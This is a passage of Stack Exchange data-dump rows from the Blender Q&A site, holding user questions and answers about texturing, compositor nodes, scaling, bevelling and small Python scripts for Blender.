  <row Id="33967" PostTypeId="1" CreationDate="2015-06-25T07:15:11.140" Score="1" ViewCount="857" Body="&lt;p&gt;I am working with blender and I am trying to add a checker board texture to a plane that is on the back ground. this is how I was able to get it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3HFy3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not able to make it into a solid texture, that doesnt look like this but an actual checker board. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is my workstation in blender:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZBu0Q.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="David" LastEditorUserId="47" LastEditDate="2015-07-14T16:45:02.607" LastActivityDate="2015-07-14T16:45:02.607" Title="Add checker board texture to a plane" Tags="&lt;texturing&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33968" PostTypeId="2" ParentId="33966" CreationDate="2015-07-14T16:22:03.680" Score="2" Body="&lt;p&gt;Apparently, it was a simple mistake - I entered &lt;em&gt;Local view&lt;/em&gt;, by mistake; to exit it, I just had to press &lt;kbd&gt;Numpad /&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8417" LastEditorUserId="3078" LastEditDate="2015-07-14T16:58:36.540" LastActivityDate="2015-07-14T16:58:36.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33969" PostTypeId="1" AcceptedAnswerId="33972" CreationDate="2015-07-14T17:56:59.530" Score="5" ViewCount="329" Body="&lt;p&gt;If I Gaussian Blur white, I get white. No surprise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ErLXB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ErLXB.png&quot; alt=&quot;GaussBlur(White) = White&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I then pipe this through a Mix node with any other color&amp;mdash;say, yellow&amp;mdash;the output is black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rz9S2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rz9S2.png&quot; alt=&quot;Mix(any, GaussBlur(White), Fac=1.000) = Black&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm baffled. Why does this happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is with the default scene settings, just switched to Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also happens if I pass the blur through Separate RGBA and Combine RGBA first, but I've verified that each of the channels is at 1.000 (by sending them directly to the Composite node's image, which appears white).&#xA;It doesn't work if I swap out the Blur node for an RGB node with pure white.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does &lt;em&gt;not&lt;/em&gt; happen if I check the &quot;include alpha of second input&quot; box on the mix node; in that case, the base color is used and the blur input is ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reproduced on Mac 10.10.3 and Linux Mint 17.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bug?&lt;/p&gt;&#xA;" OwnerUserId="372" LastActivityDate="2015-07-14T18:43:19.773" Title="Why is a 100% mix node not acting as the identity?" Tags="&lt;compositor&gt;&lt;blur&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33970" PostTypeId="1" CreationDate="2015-07-14T18:10:31.877" Score="0" ViewCount="48" Body="&lt;p&gt;I'm trying to modeling a male character with a skirt (don't ask) but when I move the bones the leg very often overlaps the skirt... I've done the weight paint to be influenced by the bones around but it seems I have to do something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see image below, any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kLY5E.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14006" LastActivityDate="2015-07-14T18:10:31.877" Title="How to make one face always be on the top of another" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33971" PostTypeId="2" ParentId="33895" CreationDate="2015-07-14T18:37:48.403" Score="1" Body="&lt;p&gt;We have pixel filter size with gaussian filtering (default) in render properties, film tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AHbDw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15550" LastActivityDate="2015-07-14T18:37:48.403" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33972" PostTypeId="2" ParentId="33969" CreationDate="2015-07-14T18:43:19.773" Score="8" Body="&lt;p&gt;From this &lt;a href=&quot;https://developer.blender.org/T37562&quot; rel=&quot;noreferrer&quot;&gt;bug report&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;When the input image file is not available, what happens is that the mix node will still try to use the resolution of the first input as the resolution of the output, which doesn't work well because the non-existent file specifies a (0,0) resolution - thus the black image (there are simply no pixels that would be mixed with the second input).&lt;/p&gt;&#xA;&lt;p&gt;The mix node cannot detect cleanly whether the input buffer is valid, and the image node cannot guess a meaningful resolution ... It seems to work as expected if i choose a valid image file.&lt;/p&gt;&#xA;&lt;p&gt;I would like to redesign the whole resolution handling in the compositor. Pixels are just not a very reliable and intuitive way of specifying size and transformation. When this happens we can hopefully avoid cases like this.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;sub&gt;For context, this was reported while attempting to do &lt;a href=&quot;https://blender.stackexchange.com/a/5018/599&quot;&gt;this&lt;/a&gt;.&lt;/sub&gt;&lt;/p&gt;&#xA;&lt;p&gt;So essentially, the mix node (rather unexpectedly) doesn't know the size of the image it's getting from the blur node. As such, it treats it like the input from the blur node is completely transparent (or 0x0 pixels large).&lt;/p&gt;&#xA;&lt;p&gt;One workaround is to provide a resolution, e.g. with a mask node:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6yp9Y.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-07-14T18:43:19.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33973" PostTypeId="2" ParentId="33962" CreationDate="2015-07-14T19:55:50.613" Score="3" Body="&lt;p&gt;You don't need a driver to accomplish this. Simply select all the rock elements you want to affect. Then use the Randomize Transform command and edit the XYZ Rotation values in the side panel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will give you a randomized starting rotation for each rock. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yEL0g.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, with all the rocks selected, click &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; and choose Apply Rotation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we want to add a driver to the XYZ rotation values for each rock. We want this value to be constant throughout the animation. We can do this by using a multiple of the frame number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, select all the rocks and add them to a group named &quot;ROCKS&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then open up the text editor and run this script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import random&#xA;&#xA;for obj in bpy.data.objects:&#xA;    randomSpeed = random.randint(1,20)*0.001&#xA;&#xA;    for group in obj.users_group:&#xA;        if group.name == &quot;ROCKS&quot;:&#xA;            for i in range(0,3):&#xA;                fCurveOb = obj.driver_add(&quot;rotation_euler&quot;, i)&#xA;                drv = fCurveOb.driver&#xA;                drv.type = &quot;SCRIPTED&quot;&#xA;                drv.expression = &quot;frame*&quot; + str(randomSpeed)&#xA;                drv.show_debug_info = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will set the XYZ rotation values to increment each frame. You can increase the rotation rate by increasing the 0.01 value. &lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-07-15T17:01:50.617" LastActivityDate="2015-07-15T17:01:50.617" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="33974" PostTypeId="1" AcceptedAnswerId="33976" CreationDate="2015-07-14T20:13:18.830" Score="1" ViewCount="963" Body="&lt;p&gt;I've been experimenting with using the default matcap textures in render mode (using Normal or Reflection mapping), and it looks pretty good. However, I'd like to use them as a &quot;reflection map,&quot; so that objects with mirror properties use the texture rather than the actual world. Is there a way to do that easily?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Probably should've specified that I'm using Blender Render rather than Cycles.&lt;/p&gt;&#xA;" OwnerUserId="15649" LastEditorUserId="15649" LastEditDate="2015-07-14T20:51:13.423" LastActivityDate="2015-07-14T21:13:46.967" Title="Is there a way to use a separate texture for object reflections?" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;blender-internal-render-engine&gt;&lt;matcaps&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33975" PostTypeId="2" ParentId="33974" CreationDate="2015-07-14T20:33:03.550" Score="1" Body="&lt;p&gt;&lt;strong&gt;In short:&lt;/strong&gt; take any good HDR texture and put it in Environment node for your glossy shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zq0LP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Internal:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9NXdB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1486" LastEditorUserId="1486" LastEditDate="2015-07-14T21:13:46.967" LastActivityDate="2015-07-14T21:13:46.967" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33976" PostTypeId="2" ParentId="33974" CreationDate="2015-07-14T20:57:29.857" Score="1" Body="&lt;p&gt;I was able to &quot;fake&quot; reflections by simply blending the reflection texture with the material (Mix + Color: &amp;lt;1 + Coordinates: Reflection).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/VaxVKBM.png&quot; alt=&quot;texture pane&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/z07hcvP.png&quot; alt=&quot;render result&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15649" LastActivityDate="2015-07-14T20:57:29.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33977" PostTypeId="2" ParentId="32024" CreationDate="2015-07-14T21:35:26.133" Score="1" Body="&lt;p&gt;I did this shape other way. Hope it would be interesting at least for practice.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create section from two semi-circles (for example: delete half of circle, connect ends of arc, move a bit from center, duplicate and place appropriately);&lt;/li&gt;&#xA;&lt;li&gt;Extrude up and use Cut Ring with proper number of cuts, like 3*n-1;&lt;/li&gt;&#xA;&lt;li&gt;Create Bezier Circle about 3-4 times larger first circle (using scale);&lt;/li&gt;&#xA;&lt;li&gt;Put Curve modifier on mesh, switch in modifier axis to Z (if you created shape in XY plane by default);&lt;/li&gt;&#xA;&lt;li&gt;Switch to top view and scale bezier circle slowly until you get your mesh exact 3/4 of turn&lt;/li&gt;&#xA;&lt;li&gt;First vertex in bezier circle is where mesh starts, direction is pretty understandable, so select second vertex and assign tilt to 90&lt;sup&gt;0&lt;/sup&gt; (Transform panel, at right side of 3D View), third to 180&lt;sup&gt;0&lt;/sup&gt;, and fourth to 270&lt;sup&gt;0&lt;/sup&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Apply Curve modifier;&lt;/li&gt;&#xA;&lt;li&gt;In Edit Mode delete first (of 3) quarter of mesh, then select all mesh and duplicate it rotationg around global Z and cursor (hope you are doing everything around cursor and 0,0,0), and remove duplicate vertices;&lt;/li&gt;&#xA;&lt;li&gt;PROFIT.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kf5Kk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trick with 3/4 was done just because I didn't find how to divide bezier loop in vertex without loosing shape.&lt;/p&gt;&#xA;" OwnerUserId="1486" LastActivityDate="2015-07-14T21:35:26.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33978" PostTypeId="1" AcceptedAnswerId="34021" CreationDate="2015-07-14T22:29:48.537" Score="2" ViewCount="1154" Body="&lt;p&gt;I try to improve my &quot;comment&quot;, uncomment&quot;, &quot;copy&quot; and &quot;cut&quot; command in the text editor and i'd like to know if it was possible to print the number and the index of selected lines in the text editor.&#xA;I'd like to comment or uncomment all selected lines.&#xA;This is the code i'm using to comment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class CustomComment(bpy.types.Operator):&#xA;    ''' Auto comment with a space after # '''&#xA;    bl_idname = &quot;text.custom_comment&quot;&#xA;    bl_label = &quot;Custom comment&quot;&#xA;&#xA;    def execute(self, context):&#xA;&#xA;        base = context.space_data.text.current_line.body&#xA;        bpy.ops.text.select_line()            &#xA;        if &quot;    &quot; in base:&#xA;            bpy.ops.text.move(type='LINE_BEGIN')&#xA;            bpy.ops.text.move(type='NEXT_WORD')        &#xA;            bpy.ops.text.insert(text=&quot;# &quot;)&#xA;        else:&#xA;            bpy.ops.text.move(type='LINE_BEGIN')        &#xA;            bpy.ops.text.insert(text=&quot;# &quot;)                &#xA;        return {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11582" LastActivityDate="2015-07-15T14:36:10.633" Title="print number and index of selected lines in text editor" Tags="&lt;python&gt;&lt;scripting&gt;&lt;text-editor&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33979" PostTypeId="2" ParentId="33586" CreationDate="2015-07-14T23:15:34.200" Score="2" Body="&lt;p&gt;The behaviour is normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider that in display textured mode you'll see the last selected texture in the UV/Image editor for the selected faces... so it may not be one of the material's texture. There's no correlation between the material texture and the textures shown in the textured mode of the 3d view, unless you keep it consciusly. So keep an eye on it...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could not find two of you textures (Texture.png and Texture.png.001 are their names) so I have replaced them with my own creation: Untitled &lt;em&gt;(all right reserved...!!!)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Qrvu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have a single object with two material and two UVMap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second UVMap is &quot;empty&quot;, ... well not really,.. let's say it not contains useful info as is collapsed. Remove it by selecting it and pressing the minus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7P1kz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we have a single uv map, but as contain the info for both material, it shows them overlayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Select all the faces of one material (Edit mode, deselect all, material tab-&gt;Select) and hide them:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cdLnZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Duplicate the uvmap, rename, make active first UVmap, select first material faces, invert selection, make uv info related to these faces unobtrusive in the uv/image editor (move them away, or scale them to a 0 factor..). Than select second UVmap, second material faces....and repeat as above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By selecting one of the UVMaps with one clock you are now able to see only the its relative UVinfo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6ytlb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note: remember to update Image mapping coordinates in the material's texture, they must point to the correct UVMap)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qHwWC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In both methods you are not allowed to see the texture of the other material while UV editing one&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Assuming that you have one map with UVs overlayed, you can:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Unselect all&lt;/li&gt;&#xA;&lt;li&gt;Go to the material tab and select one material's face&lt;/li&gt;&#xA;&lt;li&gt;Go to the UV/Image editor, select all visible&lt;/li&gt;&#xA;&lt;li&gt;Set repeating coordinates&lt;/li&gt;&#xA;&lt;li&gt;Shift your selection on the x-axis by the texturex with (in pixel)&lt;/li&gt;&#xA;&lt;li&gt;Select all in the 3d view&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3JEBU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing should have changed, as the texture UV are repeated by default (if no clamp option by enabled), but now you can clearly see and edit both UV layouts&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;em&gt;Note: not shure what to do if the X size is different between textures..&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) As suggested by &lt;a href=&quot;https://blender.stackexchange.com/users/8094/gladys&quot;&gt;gladys&lt;/a&gt;, split the objects in two and merge the parts only at the end is the fastest solution.&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2015-07-14T23:15:34.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33980" PostTypeId="1" AcceptedAnswerId="33981" CreationDate="2015-07-15T00:23:55.993" Score="3" ViewCount="15135" Body="&lt;p&gt;when I resize I want to see the real width\length\dept of the object instead of the x=1 y=1 z=1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this?&lt;/p&gt;&#xA;" OwnerUserId="15653" LastEditorUserId="55" LastEditDate="2015-07-15T00:37:41.267" LastActivityDate="2015-07-15T08:18:38.040" Title="Can the scale tool show me the real size of the object instead of a 1 - 0 scale?" Tags="&lt;transforms&gt;&lt;units&gt;&lt;measurement&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33981" PostTypeId="2" ParentId="33980" CreationDate="2015-07-15T00:28:53.287" Score="5" Body="&lt;p&gt;Are you looking for the &lt;em&gt;Dimensions&lt;/em&gt; in &lt;em&gt;3D view &gt; Tool shelf&lt;/em&gt; (&lt;kbd&gt;N&lt;/kbd&gt;)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q5vTn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also &lt;a href=&quot;https://blender.stackexchange.com/q/254/599&quot;&gt;change the units&lt;/a&gt; these values are represented in. By default they are displayed in &quot;blender units&quot; (BU), which are equal to meters. To do this, adjust the settings in &lt;em&gt;Properties &gt; Scene &gt; Units&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NUXAO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I should also point out that the &lt;em&gt;Scale&lt;/em&gt; of an object is not limited to 0-1. For example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A scale of 1 = no distortion&lt;/li&gt;&#xA;&lt;li&gt;A scale of 2 = twice as large&lt;/li&gt;&#xA;&lt;li&gt;A scale of -1 = &lt;a href=&quot;https://blender.stackexchange.com/q/1093/599&quot;&gt;inverted&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://blender.org/manual/getting_started/basics/transformations/scale.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Scale&lt;/em&gt;&lt;/a&gt; object property is really factor by which you can non-destructively shrink or stretch the object in any given axis without modifying the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's useful to know this, as it can result in some &lt;a href=&quot;https://blender.stackexchange.com/q/28248/599&quot;&gt;unexpected results&lt;/a&gt; if you are unaware of what scale is actually doing. See &lt;a href=&quot;https://blender.stackexchange.com/q/12288/599&quot;&gt;my answer here for more detail&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2015-07-15T08:18:38.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33982" PostTypeId="1" CreationDate="2015-07-15T00:41:37.840" Score="1" ViewCount="156" Body="&lt;p&gt;I just upgraded from 2.72b to 2.75a and now I can't rotate my view with my mouse anymore. Even if i hold down the shift button, it wont change my view either. I have tried changing the free/trackball option in User Preferences, but it doesn't do anything. Any advise?&lt;/p&gt;&#xA;" OwnerUserId="15654" LastActivityDate="2015-07-15T00:41:37.840" Title="Rookie question about ne Blender 2.75a rotating view" Tags="&lt;interface&gt;&lt;3d-view&gt;" AnswerCount="0" CommentCount="6" ClosedDate="2015-07-15T08:35:43.067" ContentLicense="CC BY-SA 3.0" />
  <row Id="33983" PostTypeId="2" ParentId="33980" CreationDate="2015-07-15T00:42:26.213" Score="2" Body="&lt;p&gt;If you want units like meters or inch, you can go to the properties panel, then to scene and then to the tab units. Here you can choose metric or imperial. The dimensions is in meters or inches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q6BAB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8094" LastActivityDate="2015-07-15T00:42:26.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33984" PostTypeId="2" ParentId="33980" CreationDate="2015-07-15T00:59:19.353" Score="3" Body="&lt;p&gt;No, the three numbers you are talking about in the 3D view header, while you are scaling an object, is the scale factor (example cube is 2&quot; scale factor of 1.5, the cube is now 3&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to change a object by typing in the dimensions you can do so in object mode in the properties region, explained in &lt;a href=&quot;https://blender.stackexchange.com/a/24215/2217&quot;&gt;my answer here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The process is&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;change one of the dimensions&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/C3rgA.png&quot; alt=&quot;bottle after changing a dimension for one of the axes&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;copy the new scale from that channel to the other two.  &lt;/li&gt;&#xA;&lt;li&gt;apply the scale with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &gt; &lt;em&gt;Scale&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-07-15T00:59:19.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33985" PostTypeId="1" CreationDate="2015-07-15T01:07:06.567" Score="0" ViewCount="389" Body="&lt;p&gt;I turned pivot point on at one point trying to use it but I definitely don't like the way the camera feels, how do I turn this off and go back to the normal free camera where I can go up and down with Q,E, and move around freely?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciate any answers, this is driving me crazy and I can't continue until it is fixed.&lt;/p&gt;&#xA;" OwnerUserId="15655" LastActivityDate="2015-07-15T19:30:41.127" Title="How do I turn the pivot point off?" Tags="&lt;camera&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33986" PostTypeId="1" CreationDate="2015-07-15T01:53:18.527" Score="0" ViewCount="280" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kGw4V.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the selected faces, how can I straighten the edges to match the reference image? I could use edge loops, but those leave odd looking lines on the mesh.&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="15243" LastActivityDate="2015-07-15T09:48:39.607" Title="How to straighten edges when subdivided?" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;edges&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33987" PostTypeId="1" CreationDate="2015-07-15T01:53:45.630" Score="1" ViewCount="102" Body="&lt;p&gt;I want to add bevel to the head in &lt;a href=&quot;https://dl.dropboxusercontent.com/u/244331196/D57RigV1.61.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;this rig&lt;/a&gt;(a minecraft rig).&#xA;Whenever I try to add the bevel it has texture glitches and crashes when I move the mouth. The mouth is a boolean mouth and that is where most of the glitches are.&lt;/p&gt;&#xA;" OwnerUserId="15659" LastEditorUserId="56068" LastEditDate="2018-07-13T11:51:05.707" LastActivityDate="2018-07-13T11:51:05.707" Title="How do you add a bevel modifier to this head" Tags="&lt;modifiers&gt;" AnswerCount="0" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33988" PostTypeId="1" AcceptedAnswerId="33991" CreationDate="2015-07-15T02:00:15.180" Score="2" ViewCount="793" Body="&lt;p&gt;I am trying to model windows on a somewhat cylinder-shaped object and I cannot figure out how to satisfactorily bevel sharp interior corners of the areas around them.  A screenshot of what I am trying to do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/vU4JPCu.png&quot; alt=&quot;Screenshot 1, before bevel&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And when I try to just use the bevel tool:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/BaRgea8.png&quot; alt=&quot;Screenshot 2, after bevel&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried using the bevel weight modifier and selecting the edges I want to bevel, but it only seems to work up to those corners, even though they seem to bevel when the modifier is applied to the entire object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/F5uCgPw.png&quot; alt=&quot;Screenshot 3, with bevel weight&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically, how would I go about doing this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a beginner so I apologize if there's something really important I've missed.  Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="15658" LastActivityDate="2015-07-15T04:06:46.770" Title="Bevelling sharp interior corners" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33989" PostTypeId="2" ParentId="32390" CreationDate="2015-07-15T02:27:16.480" Score="4" Body="&lt;p&gt;If by UV you mean unwrapped coordinates then no, volumetrics can not use UV coordinates.  This is for the exact reason you stated in your question, by unwrapping a mesh you are only assigning coordinates to the surface of your mesh, not the volume.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Here are the texture coordinates that work for volumetrics (i.e. not calculated based on the surface of the mesh).&lt;/p&gt;&#xA;&lt;h3&gt;Texture coordinate node:&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Generated:&lt;/strong&gt;  Generated coordinates are based on the bounding box of the object.  The left, bottom, front corner is &lt;code&gt;(0, 0, 0)&lt;/code&gt; and the right, top, back corner is &lt;code&gt;(1, 1, 1)&lt;/code&gt;; the volume of the bounding box is interpolated linearly between these.  By default all procedural textures use generated coordinates.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Object:&lt;/strong&gt; The coordinates in local-space of the specified object on the texture coordinate node.&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/D9YF0.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Camera:&lt;/strong&gt; The position in camera-space.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Other nodes:&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Position 